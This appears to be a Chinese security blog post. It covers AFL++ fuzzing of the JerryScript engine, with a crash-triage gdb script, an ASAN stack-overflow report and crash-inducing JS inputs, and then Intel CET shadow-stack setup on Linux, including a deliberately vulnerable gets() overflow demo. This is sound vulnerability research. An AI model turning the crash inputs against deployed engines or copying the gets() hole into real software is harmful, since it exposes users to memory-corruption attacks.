包含关键字 heap 的文章

开始之前

这段时间本来想研究下 Chrome V8,学了一段时间发现 V8 还是太吃操作了……感觉应该先了解下比较简单的 JS 引擎。于是想着先从适合嵌入式设备的轻量 JS 引擎 JerryScript 开始玩起。正好看到 JerryScript 的 Issues 有好多关于漏洞的报告(无人在意说是),那就复现一下 fuzzing 漏洞挖掘吧。

源码与编译

git clone https://github.com/jerryscript-project/jerryscript
cd jerryscript
python tools/build.py

编译 JerryScript 还是相当简单的,要想 fuzz 它,我们可以直接让 AFL 将文件作为参数传入然后等待崩溃。但是这样的 fuzz 是没有意义的,因为没有经过 AFL instruction。我们需要使用 afl-clang-lto 作为编译器。有关 AFL 的用法和原理,前人之述备矣,我就不赘述了。

JerryScript 已经在 tools/build.py 为我们准备好了接入 libfuzzer 的编译选项,而 AFL 支持为 libfuzzer sanitized binary 启用 persistent mode。那么就用现成的就好。

CC=afl-clang-lto python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum-conversion' --strip=OFF
CC=afl-clang-lto AFL_LLVM_CMPLOG=1 python tools/build.py --libfuzzer=ON --compile-flag='-Wno-enum-enum  
-conversion -fsanitize=address' --strip=OFF

我们需要添加 -Wno-enum-enum-conversion 编译参数来防止高版本 clang 编译不通过。(如果要用高版本 gcc 编译的话,还需要添加 -Wno-unterminated-string-initialization,因为 jerry-core/ecma/builtin-objects/ecma-builtin-helpers-date.c 中的 day_names_pmonth_names_p 没有考虑 C-style 字符串字面量 tailing NULL byte 占用的空间。)

准备初始 corpus

作为实验,我没有考虑太多,选用 test262 作为 JS 样本,去除其中的注释,就直接作为初始 corpus 了。我选用 AFL 作为 fuzzing 引擎。这对于 JS 引擎而言,效果不会好,但本来也只是实验性质的尝试。AFL 在 fuzz 过程中会根据这些文件不断通过各种策略构造新的输入,收集对于每个输入程序执行后的覆盖率,继续构造新的输入。

import os
import shutil
import subprocess

TEST262_REPO = "https://github.com/tc39/test262.git"
CLONE_DIR = "test262"
CORPUS_DIR = "corpus"
NUM_FILES = 100  # Adjust how many files you want

# Directories considered ES5 core tests
ES5_TEST_DIRS = [
    "test/built-ins",
    "test/language",
    "test/statements",
    "test/annexB"
]

def clone_test262():
    if not os.path.exists(CLONE_DIR):
        print("Cloning test262 repo...")
        subprocess.run(["git", "clone", TEST262_REPO], check=True)
    else:
        print("test262 repo already cloned.")

def gather_es5_js_files():
    js_files = []
    for root, _, files in os.walk(CLONE_DIR):
        # Check if the file is inside one of the ES5 directories
        if any(es5_dir in root.replace("\\", "/") for es5_dir in ES5_TEST_DIRS):
            for file in files:
                if file.endswith(".js"):
                    js_files.append(os.path.join(root, file))
    return js_files

def prepare_corpus(js_files):
    os.makedirs(CORPUS_DIR, exist_ok=True)
    selected_files = js_files[:NUM_FILES]
    print(f"Copying {len(selected_files)} files to corpus directory...")
    existing_names = set()

    for path in selected_files:
        filename = os.path.basename(path)
        name, ext = os.path.splitext(filename)

        # Avoid duplicates by renaming with suffix if needed
        original_filename = filename
        suffix = 1
        while filename in existing_names:
            filename = f"{name}_{suffix}{ext}"
            suffix += 1

        existing_names.add(filename)
        shutil.copy(path, os.path.join(CORPUS_DIR, filename))

    print("Corpus preparation complete.")

if __name__ == "__main__":
    clone_test262()
    all_js_files = gather_es5_js_files()
    if len(all_js_files) == 0:
        print("No ES5 JS files found in test262 repo!")
    else:
        prepare_corpus(all_js_files)

fuzzing

afl-fuzz -i input -o output -b 2 -a text -M master -- ./jerry-libfuzzer
AFL_USE_ASAN=1 afl-fuzz -i input -o output -b 4 -a text -S sanitizer -c 0 -l 2AT -P exploit -p exploit -- ./jerry-libfuzzer

很快就发生了 crash。可以看到 AFL 构造的 JS 输入和乱码真的没区别了。也就是说 JerryScript 在语法分析甚至词法分析阶段就可能崩溃,发生段错误。

结果处理

虽然听起来有点离谱,但是挂机一天后 AFL 收集到了 543 个 crashes。但其中大多数都是 null pointer deref。所以我决定简单筛选一下无效的 crashes。使用 Python gdb 模块批量调试 crash inputs,段错误后先提取产生段错误位置的汇编指令,找到解引用 [reg + offset](寄存器间接寻址)处使用的寄存器,然后再让 gdb 查询这个寄存器的值,如果值为很大的数则将这个 input 另存起来。

import gdb
import os
import shlex
import shutil
import re
from pathlib import Path

# ====== Configuration ======
CRASH_DIR = Path("./crashes")
VALID_DIR = Path("./valid")
LOG_DIR = Path("./logs")
MODE = "copy"   # "copy" or "link"
PATTERN = "cafebabe"   # if NOT found in crash bt/output -> save to VALID_DIR
USE_STDIN = False    # If True, run "run < file" to feed the file on stdin
# Note: timeouts are not enforced inside gdb-embedded script; if you need per-run
# timeouts, run gdb under an external timeout wrapper (e.g. GNU timeout) or use
# the external/python+subprocess approach.
# ===========================

CRASH_DIR = CRASH_DIR.resolve()
VALID_DIR = VALID_DIR.resolve()
LOG_DIR = LOG_DIR.resolve()

x86_64_registers = [
    "rax", "rbx", "rcx", "rdx",
    "rsp", "rbp", "rsi", "rdi",
    "r8", "r9", "r10", "r11",
    "r12", "r13", "r14", "r15"
]

for d in (VALID_DIR, LOG_DIR):
    d.mkdir(parents=True, exist_ok=True)

# helper: unique destination path (avoid overwriting)
def unique_dest(dest: Path) -> Path:
    if not dest.exists():
        return dest
    i = 1
    while True:
        candidate = dest.with_name(dest.name + f".{i}")
        if not candidate.exists():
            return candidate
        i += 1

def install_file(src: Path) -> Path:
    dest = VALID_DIR / src.name
    dest = unique_dest(dest)
    if MODE == "link":
        # try symlink to absolute path
        try:
            os.symlink(str(src.resolve()), str(dest))
        except OSError:
            shutil.copy2(src, dest)
    else:
        shutil.copy2(src, dest)
    return dest

CRASH_PATTERNS = [
    r"Program received signal",
    r"SIGSEGV",
    r"SIGABRT",
    r"Segmentation fault",
    r"SIGILL",
    r"SIGFPE",
    r"^#0",            # backtrace frame 0
    r"AddressSanitizer",
    r"ASAN:",
    r"terminate called",
]

_crash_re = re.compile("|".join("(?:" + p + ")" for p in CRASH_PATTERNS), flags=re.I | re.M)

def detect_crash(text: str) -> bool:
    return bool(_crash_re.search(text))

# Turn off pagination so gdb.execute(..., to_string=True) returns full text
try:
    gdb.execute("set pagination off")
except Exception:
    pass

# The program to run is the one passed with --args ./jerry when launching gdb.
# gdb already knows the executable from --args; we will just set program args each run.
files = sorted([p for p in CRASH_DIR.iterdir() if p.is_file()])

summary = {"processed": 0, "crashes": 0, "saved": 0, "no_crash": 0}

for infile in files:
    summary["processed"] += 1
    name = infile.name
    logfile = LOG_DIR / (name + ".log")
    print("---- Processing:", name)

    # Set args or use stdin redirection
    if USE_STDIN:
        # clear any args (not necessary, but explicit)
        try:
            gdb.execute("set args")
        except Exception:
            pass
        run_cmd = "run < " + shlex.quote(str(infile))
    else:
        # set argv for the debugged program to the filename
        # (if your program accepts multiple args, adjust as needed)
        try:
            gdb.execute("set args " + shlex.quote(str(infile)))
        except Exception:
            pass
        run_cmd = "run"

    # Execute run and capture textual output
    try:
        out_run = gdb.execute(run_cmd, to_string=True)
    except gdb.error as e:
        # gdb.error may be thrown if the program exited in a way gdb treats specially;
        # capture the string representation and continue to collect bt below.
        out_run = str(e)

    # After run, collect a backtrace (best-effort)
    try:
        out_bt = gdb.execute("bt full", to_string=True)
    except Exception:
        try:
            out_bt = gdb.execute("bt", to_string=True)
        except Exception:
            out_bt = ""

    combined = out_run + "\n" + out_bt

    # Save log
    with logfile.open("w", encoding="utf-8", errors="replace") as f:
        f.write("COMMAND: " + run_cmd + "\n\n")
        f.write("=== RUN OUTPUT ===\n")
        f.write(out_run + "\n\n")
        f.write("=== BACKTRACE ===\n")
        f.write(out_bt + "\n")

    # Detect crash
    if detect_crash(combined):
        summary["crashes"] += 1
        crash_line = gdb.execute('x/i $rip', to_string=True)
        valid = False
        if "[" not in crash_line:
            continue
        for reg in x86_64_registers:
            if reg in crash_line[crash_line.index("["):crash_line.index("]")] and int(gdb.execute(f"p ${reg}", to_string=True).split(' ')[-1], 16) > 8:
                valid = True
        if not valid:
            continue
        print("  -> Valid crash detected. Log:", logfile)
        if PATTERN.lower() in combined.lower():
            print(f"     -> pattern '{PATTERN}' FOUND in backtrace/output. Not saving.")
        else:
            dest = install_file(infile)
            summary["saved"] += 1
            print(f"     -> pattern '{PATTERN}' NOT found. Saved to:", dest)
    else:
        summary["no_crash"] += 1
        print("  -> No crash detected. Log:", logfile)

    # Attempt to kill inferior if still running so we can restart cleanly next time
    try:
        gdb.execute("kill", to_string=True)
    except Exception:
        # ignore; keep going
        pass

# Final summary
print("\nDone.")
print("Summary:")
for k, v in summary.items():
    print(f"  {k}: {v}")
print("Logs:", LOG_DIR)
print("Valid candidates:", VALID_DIR)

# End of gdb_run.py

经过筛选后,我发现了一个很有意思的崩溃:

$ ./jerry-asan /storage/jsfuzz/valid/id:000005,sig:11,src:005743,time:469380,execs:12877861,op:havo
c,rep:4
=================================================================
==1365920==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b6b9b700098 at pc 0x558aff052c4d bp 0x7ffcb9f80e60 sp 0x7ffcb9f80e50
READ of size 1 at 0x7b6b9b700098 thread T0
    #0 0x558aff052c4c in scanner_create_variables (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #1 0x558aff0551bc in parser_parse_function_arguments.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7b1bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #2 0x558aff0585c8 in parser_parse_function (/storage/jsfuzz/jerry-asan+0x7e5c8) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #3 0x558aff0a26bc in lexer_construct_function_object (/storage/jsfuzz/jerry-asan+0xc86bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #4 0x558aff0a6a77 in parser_parse_class (/storage/jsfuzz/jerry-asan+0xcca77) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #5 0x558aff0b6198 in parser_parse_statements (/storage/jsfuzz/jerry-asan+0xdc198) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #6 0x558aff057d49 in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7dd49) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #7 0x558aff008764 in jerry_parse_common.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x2e764) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #8 0x558aff0bf0bc in jerryx_source_parse_script (/storage/jsfuzz/jerry-asan+0xe50bc) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #9 0x558afeff6be3 in main (/storage/jsfuzz/jerry-asan+0x1cbe3) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)
    #10 0x7f6b9da27674  (/usr/lib/libc.so.6+0x27674) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e)
    #11 0x7f6b9da27728 in __libc_start_main (/usr/lib/libc.so.6+0x27728) (BuildId: 4fe011c94a88e8aeb6f2201b9eb369f42b4a1e9e)
    #12 0x558afeff72e4 in _start (/storage/jsfuzz/jerry-asan+0x1d2e4) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)

Address 0x7b6b9b700098 is located in stack of thread T0 at offset 152 in frame
    #0 0x558aff055ffe in parser_parse_source.lto_priv.0 (/storage/jsfuzz/jerry-asan+0x7bffe) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b)

  This frame has 6 object(s):
    [32, 33) 'flags' (line 2041)
    [48, 49) 'flags' (line 2063)
    [64, 80) 'branch' (line 2253)
    [96, 112) 'literal'
    [128, 152) 'scanner_info_end' (line 2115) <== Memory access at offset 152 overflows this variable
    [192, 792) 'context' (line 1988)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/storage/jsfuzz/jerry-asan+0x78c4c) (BuildId: 85560800a62467c72ec57dc61008c1abe723d70b) in scanner_create_variables
Shadow bytes around the buggy address:
  0x7b6b9b6ffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b6fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700000: f1 f1 f1 f1 01 f2 01 f2 00 00 f2 f2 f8 f8 f2 f2
=>0x7b6b9b700080: 00 00 00[f2]f2 f2 f2 f2 00 00 00 00 00 00 00 00
  0x7b6b9b700100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7b6b9b700300: 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1365920==ABORTING

这个输入是:

class MyError extends Error {7667111111111111111;;;;;;;static
 { throwased = true;
  d = trsert.s}.defeuse(resourcd = true;
 new MyError(); });
stack.defer(function () {});
assert.throws(MyError, functction (# {
 Csu 12), .defer(function41024448kTtrspose()&
});

还有一个输入会使得用于寄存器间接寻址的寄存器 RDI 地址值变为 RDI 0x646573610a20650a ('\ne \nased'),RDI 内容是输入本身的一部分。不过很有意思的是它并不会触发 Address Sanitizer。说明 ASAN 很可能会改变某些调用栈帧的内存布局。(我手动 trim 了一下,不然这个输入真的又长又难看。)

class MyE{7667;;667;;sta;7;;667;;s;;#;statTtra;sta;7;;667;;;;;;;;s;;#;statTtra;;';s;;#at;#;statTtra;;';s;;#atTtra;;#;;sta;;;
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
ase
6
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
ased6671;
6
e 
ased = 
class{76671;
6
;
s;;;;;;;;;;static
as}}}}|}}}Of(}}|}csleO}}}}|}}}Of}}|}02000(1167E0Y.u(3}}}}}}}}}PisleO}}}}|}}}Of}}|}02000(1167E000002000(11676cY.u(Pisle}}}}PisleO}}}}|}}}OfInfinityaa, new .u9PisleOaaaaa!pa}}}}}}PisleO}}}}|}}}Of

另外有很多与它相似的 crash inputs,可以很明显发现 JerryScript 对于 JS 类私有字段名的处理有很大问题。

总结

其实这是一次没什么意义的 fuzzing,fuzz 类似编译器的软件应该使用结构化的 fuzzer,而不是 AFL++ 这样基本依靠字节随机变异的 fuzzer,不然连语法检查都过不了很难进一步挖掘漏洞。之后我可能再尝试一下 fuzzilli,或者考虑自己手写一个 fuzzer(画大饼 ing)。

Intel CET

Intel CET(Controlflow Enforcement Technology / 控制流加固技术)CFI(Control Flow Integrity / 控制流完整性)检查是近些年兴起的保护机制,其中包含 SHSTK(SHadow STacK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake(11 代)及以上 CPU 才支持。

SHSTK 是一种后向控制流完整性(Backward-edge CFI)检查(简单来说是在“返回”时的检查),一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈,一个是众所周知的栈区,另一个是新增的“影子栈”,只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈,如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,也就是所有 ROP 攻击都将失效

IBT 是一种前向控制流完整性(Forward-edge CFI)检查(简单来说是在“调用”时的检查)。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32,如果是就不执行任何操作(类似 nop),如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟,例如 Windows CFG、Clang CFI 等,但是会大幅降低程序性能,每次虚函数调用等都需要校验,实用价值有限。

目前 Windows 只支持 Shadow Stack(Windows CFG),还不支持以 endbr 指令为基础的 IBT(存疑,Windows 我不熟);Linux 上也几乎没有程序启用这项保护,算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式?(Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题,但好像没开 ASLR,解法是直接篡改 shadow stack 本身再 ROP。)

验证 Intel CET 是否可用

接下来是在 Linux 上实验启用 CET 的具体操作,主要是 Shadow Stack。首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

GCC / glibc 环境启用 Intel CET

Glibc 已经在其 ld.so 中初步支持 Intel CET 保护。

我的环境:

CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz
Kernel: 6.14.7-zen2-1-zen (archlinux)
glibc: GNU C Library (GNU libc) stable release version 2.41

如果自己的电脑没有 Intel CET 软硬件支持,推荐使用 eqqie 学长开发的 qemu 插件(github)。我的电脑由于恰好满足所有条件,所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

保护效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个较大的匿名内存区域,这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈),与 back trace 相符。

我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。

#include <stdio.h>

int main() {
    char buf[0x10];
    gets(buf);
    return 0;
}
$ gcc -fcf-protection=full --ansi -fno-stack-protector main.c
pwndbg> r
Starting program: /home/rik/Desktop/a.out 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
aaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555167 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──[ REGISTERS / show-flags off / show-compact-regs off ]──
 RAX  0
 RBX  0
 RCX  0x7ffff7f6c7c0 ◂— 0
 RDX  0x7ffff7f6c7c0 ◂— 0
 RDI  0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa'
 RSI  0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n'
 R8   0x5555555592b9 ◂— 0
 R9   0xfbad2288
 R10  0
 R11  0x202
 R12  0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out'
 R13  1
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff
 RIP  0x555555555167 (main+30) ◂— ret 
──[ DISASM / x86-64 / set emulate on ]──
 ► 0x555555555167 <main+30>    ret                                <0x7ffff7dab600>
     ↓
   0x7ffff7dab600              cmp    al, 0xff     0x0 - 0xff     EFLAGS => 0x213 [ CF pf AF zf sf IF df of ]
...
pwndbg> xinfo 0x7ffff7dab600
Extended information for virtual address 0x7ffff7dab600:

  Containing mapping:
    0x7ffff7da8000     0x7ffff7f18000 r-xp   170000  24000 /usr/lib/libc.so.6

可以看到程序在 ret 处就已经产生段错误,连 RIP 都还不是篡改后的地址。

用户态的 Shadow Stack 目前依旧是实验性的功能,在我自己电脑上测试,设置上述环境变量(on)后连 gdb 都打不开了...

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

Linux 用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so(注意要使用宏函数,原因见上方源码中注释):

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    
    // ...
    
    DISABLE_SHSTK // 或者直接 exit(0);
    return 0;
}

SHSTK 内核底层实现

arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现,内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。

